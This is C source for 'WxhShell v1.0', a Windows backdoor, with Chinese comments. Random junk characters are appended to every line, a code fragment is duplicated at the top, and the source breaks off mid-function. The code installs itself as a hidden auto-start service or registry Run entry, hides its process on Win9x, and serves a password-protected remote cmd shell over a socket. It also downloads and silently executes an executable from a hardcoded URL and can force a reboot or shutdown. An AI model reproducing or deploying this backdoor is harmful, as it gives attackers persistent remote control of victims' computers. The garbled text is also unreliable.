    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Pe<VPf9+  
    if(Boot(SHUTDOWN)) wgFX')l:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SkjG}  
    else { 2uj .*  
    closesocket(wsh); Y 9$jJ1V  
    ExitThread(0); ~1O|4mssS  
    } \F|)w|v  
    break; '+9<[]  
    } DzVCEhf  
  // 获取shell p9"dm{  
  case 's': { nM[yBA  
    CmdShell(wsh); !v8R(  
    closesocket(wsh); ~4 fE`-O  
    ExitThread(0); [Hh*lKg  
    break; iT'doF  
  } 5} %R  
  // 退出 5zK,(cF0-  
  case 'x': { 6kAAdy}ck  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,p|Q/M^  
    CloseIt(wsh); yrxX[Hg?@  
    break; Lm[,^k  
    } M-@RgWvF  
  // 离开 ad}8~6}_&  
  case 'q': { 71{Q#%5U~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~Dt$}l-9  
    closesocket(wsh); k8?._1t  
    WSACleanup(); z"f@iJX?2  
    exit(1); U'=8:&  
    break; h$8h@2%  
        } 6{6hz 8  
  } ]'5Xjcx  
  } KElEGW  
L-9fo-  
  // 提示信息  \ ca<L  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q/@2=$]hH3  
} rl}<&aPH  
  } KKC%!Xy  
F!z ^0+H(  
  return; 2E1`r@L  
} J%?5d:iN+  
t=B1yvE "  
// shell模块句柄 fXMY.X>f  
int CmdShell(SOCKET sock)  E0!d c  
{ |y^=(|eM  
STARTUPINFO si; -))S  
ZeroMemory(&si,sizeof(si)); b-ss^UL  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ==Egy:<:Q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4aArxJ  
PROCESS_INFORMATION ProcessInfo; @k i|# ro  
char cmdline[]="cmd"; ( v*xW.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V 1'otQH2l  
  return 0; N**)8(  
} `df!-\#  
DgT]Nty@b  
// 自身启动模式 e|oMbTZ5m  
int StartFromService(void) )#i@DHt=  
{ 9)wYSz'  
typedef struct K 4GuOl  
{ *H!BThft4  
  DWORD ExitStatus; [W3X$r~-  
  DWORD PebBaseAddress; p6%Vf  
  DWORD AffinityMask; hJ(vDv%  
  DWORD BasePriority; h^g0|p5  
  ULONG UniqueProcessId; R=~%kt_n  
  ULONG InheritedFromUniqueProcessId; N# }A9t  
}   PROCESS_BASIC_INFORMATION; m[eqTh4*  
pa46,q&M  
PROCNTQSIP NtQueryInformationProcess; ah*{NR)  
{dZ]+2Z~+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U;W9`JT<.f  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :(]fC~G~  
p q`uB  
  HANDLE             hProcess; wH?)ZL  
  PROCESS_BASIC_INFORMATION pbi; + ,Krq 3P  
4Kch=jt4#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [2-n*a(q  
  if(NULL == hInst ) return 0; *k7BE_&*0Z  
l7g'z'G  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~vA{I%z5~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !S=YM<Ad  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \2kLj2!  
HF0G=U}i  
  if (!NtQueryInformationProcess) return 0; JaUzu3*=  
'^TeV=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :EOai%i  
  if(!hProcess) return 0; Jw _>I  
US$$ADq  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; PcC@}3  
R ABw( b  
  CloseHandle(hProcess); 0BDw}E\  
T3fQ #p  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); k\[(;9sf.  
if(hProcess==NULL) return 0; &IN%2c  
Y'iI_cg  
HMODULE hMod; 5TJd9:\Af  
char procName[255]; bY#BK_8 :  
unsigned long cbNeeded; Dy.i^`7\  
N" L&Z4Z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); cTGd<  
|OJWQU![by  
  CloseHandle(hProcess); (=^KP7  
"jAd.x?X7e  
if(strstr(procName,"services")) return 1; // 以服务启动 bg Ux&3  
N`Q.u-'  
  return 0; // 注册表启动 8</wQ6&|  
} =dPokLXn  
Kkp dcc  
// 主模块 *,JE[M  
int StartWxhshell(LPSTR lpCmdLine) o#p%IGG`  
{ V~/G,3:0y%  
  SOCKET wsl; VaD+:b4  
BOOL val=TRUE; _CHzwNU  
  int port=0; AtJ{d^  
  struct sockaddr_in door; 3tZIL  
CFh9@Nx  
  if(wscfg.ws_autoins) Install(); jh oA6I  
fz^j3'!\  
port=atoi(lpCmdLine); $Wj= V  
}T4|Kyu?  
if(port<=0) port=wscfg.ws_port; }PJsPIa3j  
l\W|a'i  
  WSADATA data; RKP, w %  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; jae9!W i  
/-p!|T}w  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   mxqD'^n#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Mm$\j*f/  
  door.sin_family = AF_INET; jM\{*!7b  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); gbuh04#~  
  door.sin_port = htons(port); Jx5`0?  
J>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { esJ7#Gxt  
closesocket(wsl); 1*=ev,Z  
return 1; j"nOxs  
} W+&5G(z~  
d AcSG  
  if(listen(wsl,2) == INVALID_SOCKET) { I5M\PK/  
closesocket(wsl); KzVi:Hm  
return 1; ^;_~ mq.  
} ~snj92K  
  Wxhshell(wsl); L"&T3i  
  WSACleanup(); Z8 v8@Y  
_P.I+!w:x  
return 0; %C_tBNE <  
o^/ #i`)  
} |@AXW   
X6cn8ak 3  
// 以NT服务方式启动 [@Ac#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) w6s[|i)&  
{ 8vVE  
DWORD   status = 0; q2X::Yqk  
  DWORD   specificError = 0xfffffff; AfA"QCyO  
1@v <  
  serviceStatus.dwServiceType     = SERVICE_WIN32; j+h+Y|4J  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; hty'L61\z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; fLe~X!#HF  
  serviceStatus.dwWin32ExitCode     = 0; Z oXz@/T  
  serviceStatus.dwServiceSpecificExitCode = 0; n>}Y@{<]/  
  serviceStatus.dwCheckPoint       = 0; `r}_92Tt  
  serviceStatus.dwWaitHint       = 0; fc+-/!v  
ARu_S B  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s-IE}I?;  
  if (hServiceStatusHandle==0) return; ts~VO`  
{\(G^B*\  
status = GetLastError(); C*2%Ix18+N  
  if (status!=NO_ERROR) fi HE`]0  
{ 2?~nA2+vm  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $YX{gk>  
    serviceStatus.dwCheckPoint       = 0; 6X@z(EEL  
    serviceStatus.dwWaitHint       = 0; 'u<e<hU  
    serviceStatus.dwWin32ExitCode     = status; bX$z)]KKu  
    serviceStatus.dwServiceSpecificExitCode = specificError; WRD z*Zf  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {c*$i^T  
    return; @l CG)Ix<  
  } 2uEI@B  
;3/}"yG<p  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @SD XJJ h  
  serviceStatus.dwCheckPoint       = 0; 3 ZOD2: (  
  serviceStatus.dwWaitHint       = 0; %<>:$4U@]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?1ey$SSU]  
} %!\=$s}g  
]00s o`  
// 处理NT服务事件,比如:启动、停止 \$_02:#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "zcAYg^U  
{ $jMA(e`Ye0  
switch(fdwControl) ~ =u8H  
{ 4;L|Ua  
case SERVICE_CONTROL_STOP: Z+ k) N  
  serviceStatus.dwWin32ExitCode = 0; hA ){>B<;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; o:#jvi84F  
  serviceStatus.dwCheckPoint   = 0; eF%M2:&c;  
  serviceStatus.dwWaitHint     = 0; 7"Xy8]i{z  
  { zn>lF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); edMCj  
  } G Uu8 N  
  return; R%3yxnM*  
case SERVICE_CONTROL_PAUSE: 9^!.!%6O$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9YI@c_1 Q  
  break; ;((t|  
case SERVICE_CONTROL_CONTINUE: 'KjH|u  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; XdJD"|,h  
  break; t#.}0Te7  
case SERVICE_CONTROL_INTERROGATE: iOZ9A~Ywy  
  break; dLYM )-H`>  
}; ,&,%B|gT]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1R}9k)JQ  
} n=-vOa%  
(LK@w9)i;  
// 标准应用程序主函数 ) r.Wge  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) m^oG9&";  
{ h> bjG  
F qJ`d2E  
// 获取操作系统版本 G T~rr*X  
OsIsNt=GetOsVer(); Y A,. C4=s  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Y!j/,FU  
1?QVt fwY  
  // 从命令行安装 |WaWmp(pQ  
  if(strpbrk(lpCmdLine,"iI")) Install(); <*J"6x  
@rT$}O1?`  
  // 下载执行文件 :WWHEZK  
if(wscfg.ws_downexe) { h.?<( I  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ky|kg@n{  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;}6wj@8He  
} L&+k`b  
0i}.l\  
if(!OsIsNt) { bDDP:INm.  
// 如果时win9x,隐藏进程并且设置为注册表启动 Y"t|0dO%b  
HideProc(); /HUT6B  
StartWxhshell(lpCmdLine); 2(!W 9#]  
} fP<== DK  
else }N9PV/a  
  if(StartFromService()) %S^ke`MhF  
  // 以服务方式启动 5:38}p9`  
  StartServiceCtrlDispatcher(DispatchTable); 7d.H 8C2  
else $E[O}+L$#  
  // 普通方式启动 O_ r-(wE4  
  StartWxhshell(lpCmdLine); I0l3"5X a  
@8c@H#H  
return 0; iJh{ ,0))g  
} `}t5`:#k  
NdJ]\>5oN,  
\ 3E%6L  
\#biwX  
=========================================== 8cfsl lI  
n=b!c@f4  
$~q{MX&J  
6DHZ,gWq  
1g=T"O&=  
CHS}tCfos>  
" y=9fuGL6  
9+(6 /<  
#include <stdio.h> ?4%#myO3a  
#include <string.h> X7*ossv  
#include <windows.h> R[j'<gd.  
#include <winsock2.h> YP!}Bf  
#include <winsvc.h> F+G+XtOS  
#include <urlmon.h> 9/8+R%  
V9ZM4.,OCN  
#pragma comment (lib, "Ws2_32.lib") i= ^6nwD&  
#pragma comment (lib, "urlmon.lib") }qGd*k0F0  
wy|b Hkr_  
#define MAX_USER   100 // 最大客户端连接数 i*l =xW;bM  
#define BUF_SOCK   200 // sock buffer xX%{i0E  
#define KEY_BUFF   255 // 输入 buffer I RLAsb3  
]hlQU%&  
#define REBOOT     0   // 重启 xTG5VBv  
#define SHUTDOWN   1   // 关机 S9*68l  
KD\%B5Jy  
#define DEF_PORT   5000 // 监听端口 D|Tz{DRG  
Bs3&y Eq(  
#define REG_LEN     16   // 注册表键长度 on hLhrZ  
#define SVC_LEN     80   // NT服务名长度 mb_6f:Qh3  
DIYR8l}x  
// 从dll定义API "&qAV'U  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w[vccARQ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); k0FAI0~(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); j<WsFVS  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Md9y:)P@Y  
b$Ei>%'/";  
// wxhshell配置信息 y:zNf?6&  
struct WSCFG { B!x6N"  
  int ws_port;         // 监听端口 BQ,749^S  
  char ws_passstr[REG_LEN]; // 口令  f^}n#  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4<<eqxI$|  
  char ws_regname[REG_LEN]; // 注册表键名 MYJMZ3qBi  
  char ws_svcname[REG_LEN]; // 服务名 1e9~):C~W  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 J10/pS  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 C5KUIOg  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 kg(}%Ih  
int ws_downexe;       // 下载执行标记, 1=yes 0=no xA;)02   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" wk?i\vm  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6e|uA7i4  
y]!#$C /  
}; \ %xku:  
25 U+L  
// default Wxhshell configuration 1uyd+*/(xP  
struct WSCFG wscfg={DEF_PORT, 3:w_49~: ~  
    "xuhuanlingzhe", /&qE,>hd.+  
    1, 7#&Q-3\:  
    "Wxhshell", Ke[`zui@?  
    "Wxhshell", $Ups9pQ  
            "WxhShell Service", _/ 5  
    "Wrsky Windows CmdShell Service", =yRv *C  
    "Please Input Your Password: ", =~,2E;#X  
  1, >,Zn~8&Z  
  "http://www.wrsky.com/wxhshell.exe", K4RQ{fWpm  
  "Wxhshell.exe" !u:;Ew  
    }; k8+U0J_{'  
&\ad.O/Q  
// 消息定义模块 O#{`Fj`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `Um-Y'KE  
char *msg_ws_prompt="\n\r? for help\n\r#>"; L6jwJwD  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; A*|\E:fo  
char *msg_ws_ext="\n\rExit."; 1;,<UHF8N  
char *msg_ws_end="\n\rQuit."; 1=X1<@*  
char *msg_ws_boot="\n\rReboot..."; fG8^|:  
char *msg_ws_poff="\n\rShutdown..."; z X+i2,  
char *msg_ws_down="\n\rSave to "; Vvv;m5.  
McbbEs=)  
char *msg_ws_err="\n\rErr!"; "ChJR[4@  
char *msg_ws_ok="\n\rOK!"; "2tKh!?Q  
pOB<Bx5t  
char ExeFile[MAX_PATH]; &tiJ=;R1  
int nUser = 0; 8h=K S   
HANDLE handles[MAX_USER]; s gZlk9x!Q  
int OsIsNt; <|E*aR|M  
Qip@L WvT  
SERVICE_STATUS       serviceStatus; xlsAct:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; s? Gv/&  
puh-\Q/P  
// 函数声明 :S-{a  
int Install(void); L@?3E`4/v  
int Uninstall(void); \nTV;@F  
int DownloadFile(char *sURL, SOCKET wsh); 9@nd>B  
int Boot(int flag); {=,I>w]T|W  
void HideProc(void); YPKB4p#  
int GetOsVer(void); <1QXZfQ"  
int Wxhshell(SOCKET wsl); ]{t!J^Xn  
void TalkWithClient(void *cs); HRCnjem/v\  
int CmdShell(SOCKET sock); * ]D{[hV  
int StartFromService(void); YB:}L b  
int StartWxhshell(LPSTR lpCmdLine); Vkf{dHjW  
fMM%,/b{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); hdmKD0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7^d7:1M  
\W\*'C8q\  
// 数据结构和表定义 9pWSvalw9  
SERVICE_TABLE_ENTRY DispatchTable[] = *dC&*6Rx  
{ 6y^GMlsI  
{wscfg.ws_svcname, NTServiceMain}, {lppv(U  
{NULL, NULL} U+[ "b-c  
}; m !i`|]m  
6 =G=4{q  
// 自我安装 j0{Qy;wP )  
int Install(void) >V\^oh)t]t  
{ |GP&!]  
  char svExeFile[MAX_PATH]; 5-&"nn2*}1  
  HKEY key; tCw B 7 c-  
  strcpy(svExeFile,ExeFile); 7y.iXe!P  
ao|n<*}  
// 如果是win9x系统,修改注册表设为自启动 e3[Q6d&|  
if(!OsIsNt) { {/,AMJ<:G]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fILvEf4b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `'pAiu  
  RegCloseKey(key); &zP> pQr`#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U: )Gc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :s-9@Yl|  
  RegCloseKey(key); h 'Hnq m  
  return 0; F'B0\v =  
    } 59+KOQul6  
  } 6mgLeeY  
} (<e<Q~(  
else { B`jq"[w]-  
A<(DYd1H  
// 如果是NT以上系统,安装为系统服务 Qam48XZ >  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +!$`0v   
if (schSCManager!=0) ~_g{P3  
{ +F2X2e)g"  
  SC_HANDLE schService = CreateService }u{gQlV  
  ( T4[/_;1g  
  schSCManager, _c5*9')-)  
  wscfg.ws_svcname, p(Osz7K  
  wscfg.ws_svcdisp, sNP ;  
  SERVICE_ALL_ACCESS, \wK4bvUrX  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;BKU _}k=  
  SERVICE_AUTO_START, :3b02}b7  
  SERVICE_ERROR_NORMAL, (vvD<S*  
  svExeFile, 9QL%q; #  
  NULL, k]`-Y E  
  NULL, 6E9/ z  
  NULL, ZE~zs~z|  
  NULL, \<G"9w  
  NULL uU^iY$w  
  ); mm.%Dcn  
  if (schService!=0) )} t't"  
  { m4Ue)  
  CloseServiceHandle(schService);  X>P|-n#  
  CloseServiceHandle(schSCManager); <^_crJONom  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y~VI,82*  
  strcat(svExeFile,wscfg.ws_svcname); /SQ/$`1{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { vAqj4:j  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1xkrh qq  
  RegCloseKey(key); D{[{&1\)r  
  return 0; 4z9lk^#"X  
    } kRBO]  
  } `u PLyS.  
  CloseServiceHandle(schSCManager); &g1\0t  
} FouN}X6  
} a(ITv roM/  
\<09.q<8  
return 1; H\\FAOj  
} r\Yh'cRW{  
cO 5zg<wF  
// 自我卸载 !\9^|Ef?  
int Uninstall(void) 22U`1AD3U  
{ j0V/\Ep)T<  
  HKEY key; QCE7VV1Rw  
{*[(j^OE  
if(!OsIsNt) { Zj'%c2U_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J%M [8  
  RegDeleteValue(key,wscfg.ws_regname); Y$]zba  
  RegCloseKey(key); jlFlhj:/I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bv b \G  
  RegDeleteValue(key,wscfg.ws_regname); & d2 `{H  
  RegCloseKey(key); nPqpat`E  
  return 0; *kg->J  
  } p'1/J:EnV  
} v^8sL` F  
} ck5cO-1>6  
else { Qz#By V:  
VJ&<6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 'wG1un;t  
if (schSCManager!=0) dIlpo0; F  
{ !]82$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); t'@mUX:-A  
  if (schService!=0) d(d<@cB9  
  { C49\'1\6  
  if(DeleteService(schService)!=0) { k_7b0 dr%F  
  CloseServiceHandle(schService); ?X@[ibH6  
  CloseServiceHandle(schSCManager); XGH:'^o_  
  return 0; h\w;SDwOk  
  } )&d=2M;3  
  CloseServiceHandle(schService); 6&ut r!\7  
  } cK u[ 4D{  
  CloseServiceHandle(schSCManager); K4<"XF1A:  
} o /[7Vo  
} @:GqOTN  
?{J1Uw<  
return 1; Pd"c*n&9  
} jgIG";:Q  
6{=U= *  
// 从指定url下载文件 rSJ!vQo Cb  
int DownloadFile(char *sURL, SOCKET wsh) A%Ka)UU+n  
{ az0=jou<Zl  
  HRESULT hr; @ztT1?!e  
char seps[]= "/"; hQm=9gS  
char *token; Sl, DZ!  
char *file; *u"%hXR  
char myURL[MAX_PATH]; @tm2Y%Y!  
char myFILE[MAX_PATH]; F{E@snc  
S*h^7?Bu  
strcpy(myURL,sURL); s0f+AS|}  
  token=strtok(myURL,seps); p7;K] AW  
  while(token!=NULL) t,|Apl]  
  { >*ls} q^  
    file=token; |7c],SHm  
  token=strtok(NULL,seps); `mz}D76~#  
  } =+MF@ 4  
Ne Y*l  
GetCurrentDirectory(MAX_PATH,myFILE); y,x 2f%x  
strcat(myFILE, "\\"); 7CH&n4v  
strcat(myFILE, file); :5%98V>02  
  send(wsh,myFILE,strlen(myFILE),0); Twa(RjB<  
send(wsh,"...",3,0); 8fP2qj0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }vZf&ib-   
  if(hr==S_OK) Eb4NPWo  
return 0; pS+w4gW  
else MSS[-}  
return 1; $5 mGYF]  
JT0j2_*Rr  
} c8X;4 My  
7gf(5p5ZV  
// 系统电源模块 mc?IM(t  
int Boot(int flag) )v_Wn[Y.H  
{ ';FJs&=I  
  HANDLE hToken; #17 &rizl  
  TOKEN_PRIVILEGES tkp; #Pg`0xiV  
ZMgsuzg  
  if(OsIsNt) { _S ng55s  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xcW\U^1d  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &wK:R,~x6  
    tkp.PrivilegeCount = 1; N E9,kWI  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0o>C, `  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); X|{Tljn  
if(flag==REBOOT) { 2(DhKHrF  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) iuY,E  
  return 0; R*:$^v@4  
} " 7^nRJy  
else { ^>l <)$s  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {OPEW`F  
  return 0; b V  EJ  
} 8S8qj"s  
  } w~6UOA8}  
  else { s;TB(M~i[  
if(flag==REBOOT) { J;_4 3eS  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _|M8xI  
  return 0; G7&TMg7i  
} ZXb|3|D  
else { {`SMxDevc}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6ncwa<q5  
  return 0; z9S (<  
} 3*</vo#`  
} myfTz tJ  
l0,VN,$Yl  
return 1; ^~V2xCu!  
} {FFdMdxy-  
h_4*?w  
// win9x进程隐藏模块 W_M#Gi/ AL  
void HideProc(void) `r SOt *<  
{ y-E'Y=j  
8B*(P>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Kb+SssF  
  if ( hKernel != NULL ) i+O7,"(@  
  { *S*49Hq7c  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); j r) M],  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ppz3"5  
    FreeLibrary(hKernel); [voZ=+/  
  } .4v?/t1  
f\oW<2k]~  
return; 60%nQhb  
} v)O0i2  
v Z]j%c@  
// 获取操作系统版本 (NFrZ0  
int GetOsVer(void) 129\H< m  
{ U3&GRY|##  
  OSVERSIONINFO winfo; Q*<KX2O  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2J t{oh|  
  GetVersionEx(&winfo); Yd4X*Ua  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) } +Sp7F1q  
  return 1; 0M;g&&mF  
  else %mss{p!d6  
  return 0; `l]Lvk8O  
} !Np7mv\7  
yQ/O[(  
// 客户端句柄模块 {g nl6+j  
int Wxhshell(SOCKET wsl) :N<Qk  
{ 8WV5'cX  
  SOCKET wsh; GAY?F  
  struct sockaddr_in client; H4`>B>\  
  DWORD myID; b/[X8w'VP  
E pF9&)  
  while(nUser<MAX_USER) X% 05[N  
{ M <JX  
  int nSize=sizeof(client); wA$?e}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3A ^AEO  
  if(wsh==INVALID_SOCKET) return 1; v CsE|eMP  
U<&=pv  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \h'7[vkr  
if(handles[nUser]==0) ngZq]8 =o  
  closesocket(wsh); 1y:fH4V  
else pBe1:  
  nUser++; ]*zG*.C  
  } }^$#vJ(a7K  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^@/wXj:  
3M?O(oO  
  return 0; awR !=\  
} %0y-f  
4I&(>9 @z<  
// 关闭 socket wg[ +NWJ  
void CloseIt(SOCKET wsh) QaLaw-lx  
{ <EqS ,cO^  
closesocket(wsh); afHRy:<+%  
nUser--; Jq)k5X>&Sj  
ExitThread(0); y(<{e~  
} #Ev}Gf+5Q  
Kh4rl)L*+%  
// 客户端请求句柄 $yU}56(z~  
void TalkWithClient(void *cs) <v9IK$J  
{ h{"SV*Xpk/  
`vzMuL;  
  SOCKET wsh=(SOCKET)cs; *>?N>f"  
  char pwd[SVC_LEN]; 0= bXL!]  
  char cmd[KEY_BUFF]; }>AA[ba"'  
char chr[1]; H[: lQ\  
int i,j; mI<sf?.  
CB9:53zK9  
  while (nUser < MAX_USER) { shdzkET8N  
g:~q&b[q6  
if(wscfg.ws_passstr) { Chl^LEN:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o_=4Ex "  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R#Yj%$E1  
  //ZeroMemory(pwd,KEY_BUFF);   +fM8  
      i=0; 19[oXyFI  
  while(i<SVC_LEN) { xX<T5Ls  
\c{sG\ >  
  // 设置超时 9Bpb?  
  fd_set FdRead; H(Wiy@cJn  
  struct timeval TimeOut;  l #]#_  
  FD_ZERO(&FdRead); wbr$w>n  
  FD_SET(wsh,&FdRead); 6qmV/DL  
  TimeOut.tv_sec=8; \2~\c#-k  
  TimeOut.tv_usec=0; /T  {R\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); x ]}'H  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ODKh/u_  
0iC5,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0FL'8!e<  
  pwd=chr[0]; <#"_Qgdix  
  if(chr[0]==0xd || chr[0]==0xa) { @6|0H`kv  
  pwd=0; 3&E@#I^] ,  
  break; O%bltNEx1  
  } =n=!s{A:t  
  i++; R)N^j'R~=  
    } 6^jrv [d  
xh<{lZ)KJ  
  // 如果是非法用户,关闭 socket 1x/R  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); B k\K G  
} "g"%7jK  
o*d(;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); vKPLh   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <WmjjD  
pE+:tMH;  
while(1) { h<'tQGC  
(}T},ygQ  
  ZeroMemory(cmd,KEY_BUFF); 1S+T:n  
pnuwj U-  
      // 自动支持客户端 telnet标准   R vU'8Y?>w  
  j=0; D'D IC  
  while(j<KEY_BUFF) { 4 u0?[v[Hu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Wy1.nn[  
  cmd[j]=chr[0]; HpeU'0u0VK  
  if(chr[0]==0xa || chr[0]==0xd) { C[ KMaB  
  cmd[j]=0; nnu#rtvZp}  
  break; 8W Qc8  
  } })PU`?f  
  j++; xu]Kt+QnSk  
    } _\@zq*E  
w!d(NA<|0]  
  // 下载文件 nemC-4}  
  if(strstr(cmd,"http://")) { ns/*WH&[x  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *cX i*7|=  
  if(DownloadFile(cmd,wsh)) g^=Ruh+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); . Wd0}?}  
  else t!FC)iY  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RA+M.  
